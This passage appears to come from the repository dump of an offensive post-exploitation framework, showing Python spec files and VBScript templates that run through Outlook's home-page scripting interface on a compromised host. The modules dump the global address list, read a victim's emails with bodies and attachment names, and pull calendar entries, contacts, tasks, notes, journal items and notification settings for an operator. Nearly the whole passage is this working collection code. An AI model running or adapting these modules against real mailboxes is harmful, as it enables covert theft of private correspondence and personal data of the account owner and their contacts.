self.helpers.speclog(\"{}: Was not able to start GAL, could be missing, or permissions error\".format(agent.hostname),output=True)\n"
  },
  {
    "path": "functions/operation/outlook/dump_gal.txt",
    "content": "Function dump_gal()\n\ton error resume next\n\tSet GAL = window.external.OutlookApplication.GetNameSpace(\"MAPI\").GetGlobalAddressList().AddressEntries\n    dump_gal = GAL.Count\nEnd Function"
  },
  {
    "path": "functions/operation/outlook/get_emailaddress.py",
    "content": "from lib.core.specmodule import SpecModule\nfrom lib.modhandlers.generic import quotedstring,makeint,makebool\nfrom lib.validators.generic import ischoice\nfrom lib.tab_completers.generic import tab_choice\n\nclass Spec(SpecModule):\n    def __init__(self, templatepath, helpers):\n        self.options = {}\n        self.helpers = helpers\n        self.help = \"\"\"\n        Gets the current users email address based of the top level folder name in Outlook\n\n        It uses OutlookApplication\n        - GetNameSpace(\"MAPI\").Folders(1).Folderpath\n        \"\"\"\n        self.entry = 'get_emailaddress'\n        self.depends = []\n        super().__init__(templatepath)\n"
  },
  {
    "path": "functions/operation/outlook/get_emailaddress.txt",
    "content": "Function get_emailaddress()\r\n\ton error resume next\r\n\tSet folder = (window.external.OutlookApplication.GetNameSpace(\"MAPI\"))\r\n\tget_emailaddress = folder.Folders(1).Folderpath\r\nEnd Function"
  },
  {
    "path": "functions/operation/outlook/list_notifications.py",
    "content": "from lib.core.specmodule import SpecModule\nfrom lib.modhandlers.generic import quotedstring\n\n\nclass Spec(SpecModule):\n    def __init__(self, templatepath, helpers):\n        self.options = {}\n        self.helpers = helpers\n        self.help = \"\"\"\n        Lists out current notification settings.\n        If you get all failed in the agent log it means that it is set to default (Notifications,sounds and toasts are on)\n\n        It uses WbemScripting.SWbemNamedValueSet\n        - Add\n        - Add.__ProviderArchitecture\n\n        It uses WbemScripting.SWbemLocator\n        - ConnectServer(root\\cimv2)\n        - ConnectServer(root\\cimv2).EnumValues\n        - ConnectServer(root\\cimv2).GetDwordValue\n        - ConnectServer(root\\cimv2).GetStringValue\n        - ConnectServer(root\\cimv2).GetExpandedStringValue\n        - ConnectServer(root\\cimv2).GetBinaryValue\n        - ConnectServer(root\\cimv2).GetMultiStringValue\n        - ConnectServer(root\\cimv2).GetQWORDValue\n        \"\"\"\n        self.entry = 'list_notifications'\n        self.depends = ['./helperFunctions/Getregvalue.txt']\n        \n        super().__init__(templatepath)"
  },
  {
    "path": "functions/operation/outlook/list_notifications.txt",
    "content": "Function list_notifications()\n\tOn Error Resume Next\n\tversion = left(window.external.OutlookApplication.Version,4)\n\tbasepath = \"software\\microsoft\\office\\outlook\\Settings\\Data\"\n\tbasepath2 = \"SOFTWARE\\Microsoft\\Office\\\" & version & \"\\Outlook\\Preferences\"\n\n\t'Toast\n\tlist_notifications = list_notifications & GetRegValue(\"HKCU\", basepath, \"global_Mail_NewmailToast\", 64, 2147483649, \"STDREGPROV\") & vbCrLf & vbCrLf\n\t\n\t'Sound\n\tlist_notifications = list_notifications & GetRegValue(\"HKCU\", basepath, \"global_Mail_PlaySound\", 64, 2147483649, \"STDREGPROV\") & vbCrLf\n\tlist_notifications = list_notifications & GetRegValue(\"HKCU\", basepath2, \"PlaySound\", 64, 2147483649, \"STDREGPROV\") & vbCrLf & vbCrLf\n\n\t'envelope\n\tlist_notifications = list_notifications & GetRegValue(\"HKCU\", basepath, \"global_Mail_ShowEnvelope\", 64, 2147483649, \"STDREGPROV\") & vbCrLf\n\tlist_notifications = list_notifications & GetRegValue(\"HKCU\", basepath2, \"ShowEnvelope\", 64, 2147483649, \"STDREGPROV\") & vbCrLf & vbCrLf\nEnd Function"
  },
  {
    "path": "functions/operation/outlook/list_overview.py",
    "content": "from lib.core.specmodule import SpecModule\n\nclass Spec(SpecModule):\n    def __init__(self, templatepath, helpers):\n        self.options = {}\n        self.helpers = helpers\n        self.help = \"\"\"\n        This module lists the structure inside outlook to 3 levels deep. Showing folders and number of items inside.\n        * Deleted Items - items: 45\n        ** RSS - items: 0\n        * Inbox - items: 10\n        ** TestFolder - items: 1\n        ** test2 - items: 0\n        *** level3 - items: 5\n        * Outbox - items: 0\n        * Sent Items - items: 2\n        * Archive - items: 7\n\n        It uses OutlookApplication\n        - GetNameSpace(\"MAPI\").Folders()\n        \"\"\"\n        self.entry = 'list_overview'\n        super().__init__(templatepath)\n"
  },
  {
    "path": "functions/operation/outlook/list_overview.txt",
    "content": "Function list_overview()\r\n\ton error resume next\r\n\tSet folder = window.external.OutlookApplication.GetNameSpace(\"MAPI\")\r\n\tset subfolders = folder.Folders(1).Folders\r\n\tfor i = 1 To subfolders.count\r\n\t\toutput = output & \"| \" & subfolders(i) & \" (\" & subfolders(i).items.Count & \")\" & vbCrLf\r\n\t\tif subfolders(i).folders.count <> 0 then\r\n\t\t\tfor ii = 1 To subfolders(i).folders.count\r\n\t\t\t\toutput = output & \"-> \" & subfolders(i).folders(ii) & \" (\" & subfolders(i).folders(ii).items.count & \")\" & vbCrLf\r\n\t\t\t\tif subfolders(i).folders(ii).folders.count <> 0 then\r\n\t\t\t\t\tfor iii = 1 To subfolders(i).folders(ii).folders.count\r\n\t\t\t\t\t\toutput = output & \"--> \" & subfolders(i).folders(ii).folders(iii) & \" (\" & subfolders(i).folders(ii).folders(iii).items.count & \")\" & vbCrLf\r\n\t\t\t\t\tnext\r\n\t\t\t\tend if\r\n\t\t\tnext\r\n\t\tend if\r\n\tnext\r\n\tlist_overview = output\r\nEnd Function"
  },
  {
    "path": "functions/operation/outlook/read_calendar.py",
    "content": "from lib.core.specmodule import SpecModule\nfrom lib.modhandlers.generic import quotedstring,makeint,makebool\nfrom lib.validators.generic import ischoice\nfrom lib.tab_completers.generic import tab_choice\n\nclass Spec(SpecModule):\n    def __init__(self, templatepath, helpers):\n        self.options = {}\n        self.helpers = helpers\n        self.help = \"\"\"\n        This module allows you to read calendar items.\n\n        It uses OutlookApplication\n        - GetNameSpace(\"MAPI\").GetDefaultFolder(9)\n        - GetNameSpace(\"MAPI\").GetDefaultFolder(9).items\n        \"\"\"\n        self.entry = 'read_calendar'\n        self.depends = []\n        self.options['days_to_read'] = {\n            \"value\": 7,\n            \"required\": True,\n            \"description\": \"The number of days ahead of time you want to view the calendar for\",\n            \"handler\": makeint\n        }\n        self.options['include_body'] = {\n            \"value\": \"True\",\n            \"required\": True,\n            \"description\": \"List out the body of the meeting\",\n            \"handler\": makebool,\n            \"validator\": ischoice,\n            \"validatorargs\": {'choices': [\"False\", \"True\"]},\n            \"tab_complete\": tab_choice,\n            \"tab_args\": {'choices': [\"False\", \"True\"]}  \n        }\n        super().__init__(templatepath)"
  },
  {
    "path": "functions/operation/outlook/read_calendar.txt",
    "content": "Function read_calendar()\r\n\ton error resume next\r\n\tSet folder = (window.external.OutlookApplication.GetNameSpace(\"MAPI\")).GetDefaultFolder(9)\r\n\t\r\n\tmyStart = Date & \" 00:00 AM\"\r\n    myEnd = DateAdd(\"d\", {{days_to_read}}, date) & \" 23:59 PM\"\r\n\tstrRestriction = \"[Start] > '\" & myStart & \"' AND [End] <= '\" & myEnd & \"'\"\r\n    Set oItems = folder.items\r\n    oItems.IncludeRecurrences = True\r\n    oItems.Sort \"[Start]\"\r\n\r\n    Set oItemsInDateRange = oItems.Restrict(strRestriction)\t\r\n\tread_calendar = \"Getting Calendar items from - \" & folder.folderpath & vbCrLf & vbCrLf\r\n\tFor Each currentItem In oItemsInDateRange\r\n\t\tif (currentItem.class = 26) then\r\n\t\t\tread_calendar = read_calendar & \"-= Calendar object =-\" & vbCrLf\r\n\t\t\tread_calendar = read_calendar & \"Meeting Start and End: \" & currentItem.start & \" - \" & currentItem.End & vbCrLf\r\n\t\t\tread_calendar = read_calendar & \"Meeting Subject: \" & currentItem.subject & vbCrLf\r\n\t\t\tread_calendar = read_calendar & \"Meeting Recurring: \" & currentItem.isRecurring & vbCrLf\r\n\t\t\tread_calendar = read_calendar & \"Meeting Organizer: \" & currentItem.Organizer & vbCrLf\r\n\t\t\tread_calendar = read_calendar & \"Meeting Required Attendees: \" & currentItem.RequiredAttendees & vbCrLf\r\n\t\t\tread_calendar = read_calendar & \"Meeting Optional Attendees: \" & currentItem.OptionalAttendees & vbCrLf\r\n\t\t\tif ({{include_body}}) then\r\n\t\t\t\tread_calendar = read_calendar & \"Meeting Body: \" & currentItem.body & vbCrLf & vbCrLf\r\n\t\t\telse\r\n\t\t\t\t\tread_calendar = read_calendar & vbCrLf\r\n\t\t\tend if\r\n\t\tend if\r\n\tnext\r\nEnd Function"
  },
  {
    "path": "functions/operation/outlook/read_contacts.py",
    "content": "from lib.core.specmodule import SpecModule\n\nclass Spec(SpecModule):\n    def __init__(self, templatepath, helpers):\n        self.options = {}\n        self.helpers = helpers\n        self.help = \"\"\"\n        This module allows you to read the contacts items. \n        Distribution groups are not implemented yet.\n        \n        It uses OutlookApplication\n        - GetNameSpace(\"MAPI\").GetDefaultFolder(10)\n        - GetNameSpace(\"MAPI\").GetDefaultFolder(10).items\n        \"\"\"\n        self.entry = 'read_contacts'\n        self.depends = []\n        super().__init__(templatepath)"
  },
  {
    "path": "functions/operation/outlook/read_contacts.txt",
    "content": "Function read_contacts()\r\n\ton error resume next\r\n\tSet folder = (window.external.OutlookApplication.GetNameSpace(\"MAPI\")).GetDefaultFolder(10)\r\n\t\r\n\tSet oItems = folder.items\r\n\tread_contacts = \"Getting Contacts items from - \" & folder.folderpath & vbCrLf & vbCrLf\r\n\tFor i = 1 To oItems.count\r\n\t\tif (oItems(i).class = 40) then\r\n\t\t\tread_contacts = read_contacts & \"-= Contact object =-\" & vbCrLf\r\n\t\t\tread_contacts = read_contacts & \"Email: \" & oItems(i).Email1Address & vbCrLf\r\n\t\t\tread_contacts = read_contacts & \"Email2: \" & oItems(i).Email2Address & vbCrLf\r\n\t\t\tread_contacts = read_contacts & \"FileAs: \" & oItems(i).FileAs & vbCrLf\r\n\t\t\tread_contacts = read_contacts & \"FirstName: \" & oItems(i).FirstName & vbCrLf\r\n\t\t\tread_contacts = read_contacts & \"LastName: \" & oItems(i).LastName & vbCrLf\r\n\t\t\tread_contacts = read_contacts & \"LastNameAndFirstName : \" & oItems(i).LastNameAndFirstName  & vbCrLf\r\n\t\t\tread_contacts = read_contacts & \"MobileTelephoneNumber : \" & oItems(i).MobileTelephoneNumber  & vbCrLf\r\n\t\t\tread_contacts = read_contacts & \"PrimaryTelephoneNumber : \" & oItems(i).PrimaryTelephoneNumber  & vbCrLf\r\n\t\t\tread_contacts = read_contacts & \"Webpage : \" & oItems(i).WebPage  & vbCrLf\r\n\t\t\tread_contacts = read_contacts & \"OfficeLocation : \" & oItems(i).OfficeLocation  & vbCrLf\r\n\t\t\tread_contacts = read_contacts & vbCrLf\r\n\t\tend if\r\n\tnext\r\nEnd Function"
  },
  {
    "path": "functions/operation/outlook/read_email.py",
    "content": "from lib.core.specmodule import SpecModule\nfrom lib.modhandlers.generic import quotedstring,makeint,makebool\nfrom lib.validators.generic import ischoice\nfrom lib.tab_completers.generic import tab_choice\n\nclass Spec(SpecModule):\n    def __init__(self, templatepath, helpers):\n        self.options = {}\n        self.helpers = helpers\n        self.help = \"\"\"\n        This module allows you to read mail items.\n\n        It uses OutlookApplication\n        - GetNameSpace(\"MAPI\").GetDefaultFolder(VARIABLE)\n        - GetNameSpace(\"MAPI\").GetDefaultFolder(VARIABLE).items\n        \"\"\"\n        self.entry = 'read_email'\n        self.depends = []\n        self.options['items_to_read'] = {\n            \"value\": 10,\n            \"required\": True,\n            \"description\": \"The number of items to read from the top (newest first)\",\n            \"handler\": makeint\n        }\n        self.options['folder_to_read_int'] = {\n            \"value\": 1,\n            \"required\": True,\n            \"description\": \"Folder you want to read emails from - Inbox, sent items etc\",\n            \"handler\": makeint,\n            \"hidden\": True\n        }\n        self.options['include_body'] = {\n            \"value\": \"True\",\n            \"required\": True,\n            \"description\": \"List out the body of the email\",\n            \"handler\": makebool,\n            \"validator\": ischoice,\n            \"validatorargs\": {'choices': [\"False\", \"True\"]},\n            \"tab_complete\": tab_choice,\n            \"tab_args\": {'choices': [\"False\", \"True\"]}  \n        }\n        self.options['folder_to_read'] = {\n            \"value\": \"inbox\",\n            \"required\": True,\n            \"description\": \"What folder to read emails from (system default folders - use options)\",\n            \"handler\": quotedstring,\n            \"validator\": ischoice,\n            \"validatorargs\": {'choices': [\"inbox\", \"sent\", \"deleted\", \"drafts\", \"outbox\", \"junk\", \"Conversation History\"]},\n            \"tab_complete\": tab_choice,\n            \"tab_args\": {'choices': [\"inbox\", \"sent\", \"deleted\", \"drafts\", \"outbox\", \"junk\", \"Conversation History\"]}\n        }\n        super().__init__(templatepath)\n\n    def preprocess(self, agent):\n    # Convert input to correct Integer needed for vbscript\n        # https://docs.microsoft.com/en-us/office/vba/api/outlook.oldefaultfolders\n        if self.options['folder_to_read']['value'] == \"inbox\":\n            self.options['folder_to_read_int']['value'] = 6\n        if self.options['folder_to_read']['value'] == \"sent\":\n            self.options['folder_to_read_int']['value'] = 5\n        if self.options['folder_to_read']['value'] == \"outbox\":\n            self.options['folder_to_read_int']['value'] = 4\n        if self.options['folder_to_read']['value'] == \"deleted\":\n            self.options['folder_to_read_int']['value'] = 3\n        if self.options['folder_to_read']['value'] == \"drafts\":\n            self.options['folder_to_read_int']['value'] = 16\n        if self.options['folder_to_read']['value'] == \"junk\":\n            self.options['folder_to_read_int']['value'] = 23"
  },
  {
    "path": "functions/operation/outlook/read_email.txt",
    "content": "Function read_email()\r\n\ton error resume next\r\n\tSet folder = (window.external.OutlookApplication.GetNameSpace(\"MAPI\")).GetDefaultFolder({{folder_to_read_int}})\r\n\titemcount = {{items_to_read}}\r\n\t\r\n    Set oItems = folder.items\r\n\toItems.Sort \"[CreationTime]\", True\r\n\t\r\n\tif itemcount > folder.items.count then\r\n\t\titemcount = folder.items.count\r\n\tend if\r\n\r\n\tread_email = \"Getting Mail items from - \" & folder.folderpath & vbCrLf & vbCrLf\r\n\tFor i = 1 To itemcount\r\n\t\tif (oItems(i).class = 43) then\r\n\t\t\tread_email = read_email & \"-= Mail object =-\" & vbCrLf\r\n\t\t\tread_email = read_email & \"Mail Subject: \" & oItems(i).subject & vbCrLf\r\n\t\t\tread_email = read_email & \"Mail To: \" & oItems(i).To & vbCrLf\r\n\t\t\tread_email = read_email & \"Mail Sender: \" & oItems(i).sender & vbCrLf\r\n\t\t\tread_email = read_email & \"Importance: \" & oItems(i).importance & vbCrLf\r\n\t\t\tread_email = read_email & \"Mail Attachments: \" & oItems(i).attachments.count & vbCrLf\r\n\t\t\tif oItems(i).attachments.count <> \"\" then\r\n\t\t\t\tfor ii = 1 To oItems(i).Attachments.count\r\n\t\t\t\t\tread_email = read_email & \"Attachment name \" & ii & \": \" & oItems(i).Attachments(ii) & vbCrLf\r\n\t\t\t\tnext\r\n\t\t   end if\r\n\r\n\t\t\tread_email = read_email & \"Mail Unread: \" & oItems(i).UnRead & vbCrLf\r\n\t\t\tif ({{include_body}}) then\r\n\t\t\t\tread_email = read_email & \"Mail Body format: \" & oItems(i).bodyformat & vbCrLf\r\n\t\t\t\tread_email = read_email & \"Mail Body: \" & oItems(i).body & vbCrLf & vbCrLf\r\n\t\t\telse\r\n\t\t\t\tread_email = read_email & vbCrLf\r\n\t\t\tend if\r\n\t\tend if\r\n\tnext\r\nEnd Function"
  },
  {
    "path": "functions/operation/outlook/read_emailnamedfolder.py",
    "content": "from lib.core.specmodule import SpecModule\nfrom lib.modhandlers.generic import quotedstring,makeint,makebool\nfrom lib.validators.generic import ischoice\nfrom lib.tab_completers.generic import tab_choice\n\nclass Spec(SpecModule):\n    def __init__(self, templatepath, helpers):\n        self.options = {}\n        self.helpers = helpers\n        self.help = \"\"\"\n        This module allows you to read mail items.\n        Specify the folder with folder_to_read.\n        Format should be: inbox\\\\sublevel1\\\\sublevel2\n\n        It uses OutlookApplication\n        - Session.Folders(1).folders.item(FoldersArray(0)\n        \"\"\"\n        self.entry = 'read_emailnamedfolder'\n        self.depends = []\n        self.options['items_to_read'] = {\n            \"value\": 10,\n            \"required\": True,\n            \"description\": \"The number of items to read from the top (newest first)\",\n            \"handler\": makeint\n        }\n        self.options['include_body'] = {\n            \"value\": \"True\",\n            \"required\": True,\n            \"description\": \"List out the body of the email\",\n            \"handler\": makebool,\n            \"validator\": ischoice,\n            \"validatorargs\": {'choices': [\"False\", \"True\"]},\n            \"tab_complete\": tab_choice,\n            \"tab_args\": {'choices': [\"False\", \"True\"]}  \n        }\n        self.options['folder_to_read'] = {\n            \"value\": \"inbox\",\n            \"required\": True,\n            \"description\": \"What folder (freetext) to read emails from - ex: inbox\\\\subfolder\",\n            \"handler\": quotedstring,\n        }\n        super().__init__(templatepath)\n"
  },
  {
    "path": "functions/operation/outlook/read_emailnamedfolder.txt",
    "content": "Function read_emailnamedfolder()\r\n\ton error resume next\r\n\tinput = {{folder_to_read}}\r\n\titemcount = {{items_to_read}}\r\n\r\n\tFoldersArray = Split(input, \"\\\")\r\n\tSet TestFolder = window.external.OutlookApplication.Session.Folders(1).folders.item(FoldersArray(0)) \r\n\tif not IsNull(TestFolder) then\r\n\t\tfor i = 1 To UBound(FoldersArray, 1)\r\n\t\t\tSet SubFolders = TestFolder.Folders\r\n\t\t\tSet TestFolder = SubFolders.item(FoldersArray(i))\r\n\t\tnext\r\n\tend if\r\n\r\n\tIf TestFolder is Nothing Then\r\n\t\tSet TestFolder = Nothing\r\n\t\toutput = output & input & \" folder could not be found. Sure it exists?\" & vbCrLf\r\n\t\tread_emailnamedfolder = output\r\n\t\tExit Function\r\n\tend if\r\n\r\n\tSet oItems = TestFolder.items\r\n\toItems.Sort \"[CreationTime]\", True\r\n\t\t\r\n\tif itemcount > TestFolder.items.count then\r\n\t\titemcount = TestFolder.items.count\r\n\tend if\r\n\r\n\toutput = output & \"Getting items from - \" & input & vbCrLf\r\n\tFor i = 1 To itemcount\r\n\t\tif (oItems(i).class = 43) then\r\n\t\t\toutput = output & \"-= Mail object =-\" & vbCrLf\r\n\t\t\toutput = output & \"Mail Subject: \" & oItems(i).subject & vbCrLf\r\n\t\t\toutput = output & \"Mail To: \" & oItems(i).To & vbCrLf\r\n\t\t\toutput = output & \"Mail Sender: \" & oItems(i).sender & vbCrLf\r\n\t\t\toutput = output & \"Importance: \" & oItems(i).importance & vbCrLf\r\n\t\t\toutput = output & \"Mail Attachments: \" & oItems(i).attachments.count & vbCrLf\r\n\t\t\tif oItems(i).attachments.count <> \"\" then\r\n\t\t\t\tfor ii = 1 To oItems(i).Attachments.count\r\n\t\t\t\t\toutput = output & \"Attachment name \" & ii & \": \" & oItems(i).Attachments(ii) & vbCrLf\r\n\t\t\t\tnext\r\n\t\t   end if\r\n\t\t\toutput = output & \"Mail Unread: \" & oItems(i).UnRead & vbCrLf\r\n\t\t\tif ({{include_body}}) then\r\n\t\t\t\toutput = output & \"Mail Body format: \" & oItems(i).bodyformat & vbCrLf\r\n\t\t\t\toutput = output & \"Mail Body: \" & oItems(i).body & vbCrLf & vbCrLf\r\n\t\t\telse\r\n\t\t\t\toutput = output & vbCrLf\r\n\t\t\tend if\r\n\t\tend if\r\n\t\tif (oItems(i).class = 44) then\r\n\t\t\toutput = output & \"-= Note object =-\" & vbCrLf\r\n\t\t\toutput = output & \"Subject: \" & oItems(i).subject & vbCrLf\r\n\t\t\toutput = output & \"Category: \" & oItems(i).Categories & vbCrLf\t\t\t\r\n\t\t\toutput = output & \"Body: \" & oItems(i).body & vbCrLf\r\n\t\t\toutput = output & \"Color: \" & oItems(i).color & vbCrLf\r\n\t\t\toutput = output & \"LastModificationTime: \" & oItems(i).LastModificationTime & vbCrLf\r\n\t\t\toutput = output & \"CreationTime: \" & oItems(i).CreationTime & vbCrLf\r\n\t\t\toutput = output & vbCrLf\r\n\t\tend if\r\n\t\tif (oItems(i).class = 48) then\r\n\t\t\toutput = output & \"-= Task object =-\" & vbCrLf\r\n\t\t\toutput = output & \"Subject: \" & oItems(i).subject & vbCrLf\r\n\t\t\toutput = output & \"Attachments: \" & oItems(i).attachments.count & vbCrLf\r\n\t\t\toutput = output & \"BillingInformation: \" & oItems(i).BillingInformation & vbCrLf\r\n\t\t\toutput = output & \"Body: \" & oItems(i).body & vbCrLf\r\n\t\t\toutput = output & \"Categories: \" & oItems(i).categories & vbCrLf\r\n\t\t\toutput = output & \"Companies: \" & oItems(i).companies & vbCrLf\r\n\t\t\toutput = output & \"Importance: \" & oItems(i).importance & vbCrLf\r\n\t\t\toutput = output & \"Sensitivity: \" & oItems(i).sensitivity & vbCrLf\r\n\t\t\toutput = output & \"Complete: \" & oItems(i).complete & vbCrLf\r\n\t\t\toutput = output & \"Contacts: \" & oItems(i).contacts & vbCrLf\r\n\t\t\toutput = output & \"ContactNames: \" & oItems(i).contactnames & vbCrLf\r\n\t\t\toutput = output & \"DelegationState: \" & oItems(i).delegationstate & vbCrLf\r\n\t\t\toutput = output & \"Delegator: \" & oItems(i).delegator & vbCrLf\r\n\t\t\toutput = output & \"DueDate: \" & oItems(i).duedate & vbCrLf\r\n\t\t\toutput = output & \"StartDate: \" & oItems(i).startdate & vbCrLf\r\n\t\t\toutput = output & \"DateCompleted: \" & oItems(i).datecompleted & vbCrLf\r\n\t\t\toutput = output & \"Complete: \" & oItems(i).complete & vbCrLf\r\n\t\t\toutput = output & \"LastModificationTime: \" & oItems(i).LastModificationTime & vbCrLf\r\n\t\t\toutput = output & \"CreationTime: \" & oItems(i).CreationTime & vbCrLf\r\n\t\t\toutput = output & vbCrLf\r\n\t\tend if\r\n\t\tif (oItems(i).class = 42) then\r\n\t\t\toutput = output & \"-= Journal object =-\" & vbCrLf\r\n\t\t\toutput = output & \"Subject: \" & oItems(i).subject & vbCrLf\r\n\t\t\toutput = output & \"Type: \" & oItems(i).type & vbCrLf\r\n\t\t\toutput = output & \"Attachments: \" & oItems(i).attachments.count & vbCrLf\r\n\t\t\toutput = output & \"BillingInformation: \" & oItems(i).BillingInformation & vbCrLf\r\n\t\t\toutput = output & \"Body: \" & oItems(i).body & vbCrLf\r\n\t\t\toutput = output & \"Categories: \" & oItems(i).categories & vbCrLf\r\n\t\t\toutput = output & \"Companies: \" & oItems(i).companies & vbCrLf\r\n\t\t\toutput = output & \"Importance: \" & oItems(i).importance & vbCrLf\r\n\t\t\toutput = output & \"Sensitivity: \" & oItems(i).sensitivity & vbCrLf\r\n\t\t\toutput = output & \"Start: \" & oItems(i).start & vbCrLf\r\n\t\t\toutput = output & \"End: \" & oItems(i).end & vbCrLf\r\n\t\t\toutput = output & \"Links: \" & oItems(i).Links & vbCrLf\r\n\t\t\toutput = output & \"LastModificationTime: \" & oItems(i).LastModificationTime & vbCrLf\r\n\t\t\toutput = output & \"CreationTime: \" & oItems(i).CreationTime & vbCrLf\r\n\t\t\toutput = output & vbCrLf\r\n\t\tend if\r\n\t\tif (oItems(i).class = 40) then\r\n\t\t\toutput = output & \"-= Contact object =-\" & vbCrLf\r\n\t\t\toutput = output & \"Email: \" & oItems(i).Email1Address & vbCrLf\r\n\t\t\toutput = output & \"Email2: \" & oItems(i).Email2Address & vbCrLf\r\n\t\t\toutput = output & \"FileAs: \" & oItems(i).FileAs & vbCrLf\r\n\t\t\toutput = output & \"FirstName: \" & oItems(i).FirstName & vbCrLf\r\n\t\t\toutput = output & \"LastName: \" & oItems(i).LastName & vbCrLf\r\n\t\t\toutput = output & \"LastNameAndFirstName : \" & oItems(i).LastNameAndFirstName  & vbCrLf\r\n\t\t\toutput = output & \"MobileTelephoneNumber : \" & oItems(i).MobileTelephoneNumber  & vbCrLf\r\n\t\t\toutput = output & \"PrimaryTelephoneNumber : \" & oItems(i).PrimaryTelephoneNumber  & vbCrLf\r\n\t\t\toutput = output & \"Webpage : \" & oItems(i).WebPage  & vbCrLf\r\n\t\t\toutput = output & \"OfficeLocation : \" & oItems(i).OfficeLocation  & vbCrLf\r\n\t\t\toutput = output & vbCrLf\r\n\t\tend if\r\n\tNext\r\n\tread_emailnamedfolder = output\r\nEnd Function"
  },
  {
    "path": "functions/operation/outlook/read_other.py",
    "content": "from lib.core.specmodule import SpecModule\nfrom lib.modhandlers.generic import quotedstring,makeint,makebool\nfrom lib.validators.generic import ischoice\nfrom lib.tab_completers.generic import tab_choice\n\nclass Spec(SpecModule):\n    def __init__(self, templatepath, helpers):\n        self.options = {}\n        self.helpers = helpers\n        self.help = \"\"\"\n        This module allows you to read mail items.\n\n        It uses OutlookApplication\n        - GetNameSpace(\"MAPI\").GetDefaultFolder(VARIABLE)\n        - GetNameSpace(\"MAPI\").GetDefaultFolder(VARIABLE).items\n        \"\"\"\n        self.entry = 'read_other'\n        self.depends = []\n        self.options['items_to_read'] = {\n            \"value\": 10,\n            \"required\": True,\n            \"description\": \"The number of items to read from the top (newest first)\",\n            \"handler\": makeint\n        }\n        self.options['folder_to_read_int'] = {\n            \"value\": 13,\n            \"required\": True,\n            \"description\": \"Folder you want to read items from - tasks, todos, notes, journal\",\n            \"handler\": makeint,\n            \"hidden\": True\n        }\n        self.options['folder_to_read'] = {\n            \"value\": \"tasks\",\n            \"required\": True,\n            \"description\": \"What folder to read from\",\n            \"handler\": quotedstring,\n            \"validator\": ischoice,\n            \"validatorargs\": {'choices': [\"tasks\", \"notes\", \"todo\", \"journal\"]},\n            \"tab_complete\": tab_choice,\n            \"tab_args\": {'choices': [\"tasks\", \"notes\", \"todo\", \"journal\"]}\n        }\n        super().__init__(templatepath)\n\n    def preprocess(self, agent):\n        # Convert input to correct Integer needed for vbscript\n        # https://docs.microsoft.com/en-us/office/vba/api/outlook.oldefaultfolders\n        if self.options['folder_to_read']['value'] == \"tasks\":\n            self.options['folder_to_read_int']['value'] = 13\n        if self.options['folder_to_read']['value'] == \"notes\":\n            self.options['folder_to_read_int']['value'] = 12\n        if self.options['folder_to_read']['value'] == \"todo\":\n            self.options['folder_to_read_int']['value'] = 28\n        if self.options['folder_to_read']['value'] == \"journal\":\n            self.options['folder_to_read_int']['value'] = 11"
  },
  {
    "path": "functions/operation/outlook/read_other.txt",
    "content": "Function read_other()\r\n\ton error resume next\r\n\tSet folder = (window.external.OutlookApplication.GetNameSpace(\"MAPI\")).GetDefaultFolder({{folder_to_read_int}})\r\n\titemcount = {{items_to_read}}\r\n\t\r\n\tSet oItems = folder.items\r\n\toItems.Sort \"[CreationTime]\", True\r\n\tif itemcount > folder.items.count then\r\n\t\titemcount = folder.items.count\r\n\tend if\r\n\r\n\t\r\n\tread_other = \"Getting items from - \" & folder.folderpath & vbCrLf & vbCrLf\r\n\tFor i = 1 To itemcount\r\n\t\tif (oItems(i).class = 44) then\r\n\t\t\tread_other = read_other & \"-= Note object =-\" & vbCrLf\r\n\t\t\tread_other = read_other & \"Subject: \" & oItems(i).subject & vbCrLf\r\n\t\t\tread_other = read_other & \"Category: \" & oItems(i).Categories & vbCrLf\t\t\t\r\n\t\t\tread_other = read_other & \"Body: \" & oItems(i).body & vbCrLf\r\n\t\t\tread_other = read_other & \"Color: \" & oItems(i).color & vbCrLf\r\n\t\t\tread_other = read_other & \"LastModificationTime: \" & oItems(i).LastModificationTime & vbCrLf\r\n\t\t\tread_other = read_other & \"CreationTime: \" & oItems(i).CreationTime & vbCrLf\r\n\t\t\tread_other = read_other & vbCrLf\r\n\t\tend if\r\n\t\tif (oItems(i).class = 48) then\r\n\t\t\tread_other = read_other & \"-= Task object =-\" & vbCrLf\r\n\t\t\tread_other = read_other & \"Subject: \" & oItems(i).subject & vbCrLf\r\n\t\t\tread_other = read_other & \"Attachments: \" & oItems(i).attachments.count & vbCrLf\r\n\t\t\tread_other = read_other & \"BillingInformation: \" & oItems(i).BillingInformation & vbCrLf\r\n\t\t\tread_other = read_other & \"Body: \" & oItems(i).body & vbCrLf\r\n\t\t\tread_other = read_other & \"Categories: \" & oItems(i).categories & vbCrLf\r\n\t\t\tread_other = read_other & \"Companies: \" & oItems(i).companies & vbCrLf\r\n\t\t\tread_other = read_other & \"Importance: \" & oItems(i).importance & vbCrLf\r\n\t\t\tread_other = read_other & \"Sensitivity: \" & oItems(i).sensitivity & vbCrLf\r\n\t\t\tread_other = read_other & \"Complete: \" & oItems(i).complete & vbCrLf\r\n\t\t\tread_other = read_other & \"Contacts: \" & oItems(i).contacts & vbCrLf\r\n\t\t\tread_other = read_other & \"ContactNames: \" & oItems(i).contactnames & vbCrLf\r\n\t\t\tread_other = read_other & \"DelegationState: \" & oItems(i).delegationstate & vbCrLf\r\n\t\t\tread_other = read_other & \"Delegator: \" & oItems(i).delegator & vbCrLf\r\n\t\t\tread_other = read_other & \"DueDate: \" & oItems(i).duedate & vbCrLf\r\n\t\t\tread_other = read_other & \"StartDate: \" & oItems(i).startdate & vbCrLf\r\n\t\t\tread_other = read_other & \"DateCompleted: \" & oItems(i).datecompleted & vbCrLf\r\n\t\t\tread_other = read_other & \"Complete: \" & oItems(i).complete & vbCrLf\r\n\t\t\tread_other = read_other & \"LastModificationTime: \" & oItems(i).LastModificationTime & vbCrLf\r\n\t\t\tread_other = read_other & \"CreationTime: \" & oItems(i).CreationTime & vbCrLf\r\n\t\t\tread_other = read_other & vbCrLf\r\n\t\tend if\r\n\t\tif (oItems(i).class = 42) then\r\n\t\t\tread_other = read_other & \"-= Journal object =-\" & vbCrLf\r\n\t\t\tread_other = read_other & \"Subject: \" & oItems(i).subject & vbCrLf\r\n\t\t\tread_other = read_other & \"Type: \" & oItems(i).type & vbCrLf\r\n\t\t\tread_other = read_other & \"Attachments: \" & oItems(i).attachments.count & vbCrLf\r\n\t\t\tread_other = read_other & \"BillingInformation: \" & oItems(i).BillingInformation & vbCrLf\r\n\t\t\tread_other = read_other & \"Body: \" & oItems(i).body & vbCrLf\r\n\t\t\tread_other = read_other & \"Categories: \" & oItems(i).categories & 